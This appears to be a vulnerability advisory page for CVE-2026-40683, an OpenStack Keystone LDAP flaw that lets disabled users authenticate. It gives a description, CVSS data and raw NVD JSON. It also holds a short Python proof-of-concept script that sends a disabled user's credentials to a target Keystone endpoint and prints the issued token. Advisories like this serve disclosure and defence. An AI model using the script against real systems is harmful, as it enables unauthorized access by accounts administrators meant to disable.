Security Vulnerability Report
中文
CVE-2026-40683 CVSS 7.7 HIGH

CVE-2026-40683

Published: 2026-04-14 20:16:48
Last Modified: 2026-04-17 15:38:09

Description

In OpenStack Keystone before 28.0.1, the LDAP identity backend does not convert the user enabled attribute to a boolean when the user_enabled_invert configuration option is False (the default). The _ldap_res_to_model method in the UserApi class only performed string-to-boolean conversion when user_enabled_invert was True. When False, the raw string value from LDAP (e.g., "FALSE") was used directly. Since non-empty strings are truthy in Python, users marked as disabled in LDAP were treated as enabled by Keystone, allowing them to authenticate and perform actions. All deployments using the LDAP identity backend without user_enabled_invert=True or user_enabled_emulation are affected.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H

Configurations (Affected Products)

No configuration data available.

OpenStack Keystone < 28.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40683 # This script demonstrates the authentication bypass using a disabled LDAP user. import requests # Target Keystone endpoint keystone_url = "http://target-openstack:5000/v3/auth/tokens" # Credentials of a user marked as "FALSE" (disabled) in LDAP username = "disabled_user" password = "user_password" domain_name = "Default" payload = { "auth": { "identity": { "methods": ["password"], "password": { "user": { "name": username, "password": password, "domain": { "name": domain_name } } } } } } try: # Send authentication request response = requests.post(keystone_url, json=payload) if response.status_code == 201: print("[+] Authentication Successful! Exploit confirmed.") print("[+] Token:", response.headers.get('X-Subject-Token')) else: print("[-] Authentication Failed or unexpected response.") print("[-] Status Code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40683", "sourceIdentifier": "[email protected]", "published": "2026-04-14T20:16:48.203", "lastModified": "2026-04-17T15:38:09.243", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In OpenStack Keystone before 28.0.1, the LDAP identity backend does not convert the user enabled attribute to a boolean when the user_enabled_invert configuration option is False (the default). The _ldap_res_to_model method in the UserApi class only performed string-to-boolean conversion when user_enabled_invert was True. When False, the raw string value from LDAP (e.g., \"FALSE\") was used directly. Since non-empty strings are truthy in Python, users marked as disabled in LDAP were treated as enabled by Keystone, allowing them to authenticate and perform actions. All deployments using the LDAP identity backend without user_enabled_invert=True or user_enabled_emulation are affected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "references": [{"url": "https://bugs.launchpad.net/keystone/+bug/2121152", "source": "[email protected]"}, {"url": "https://bugs.launchpad.net/keystone/+bug/2141713", "source": "[email protected]"}, {"url": "https://review.opendev.org/958205", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/14/9", "source": "[email protected]"}]}}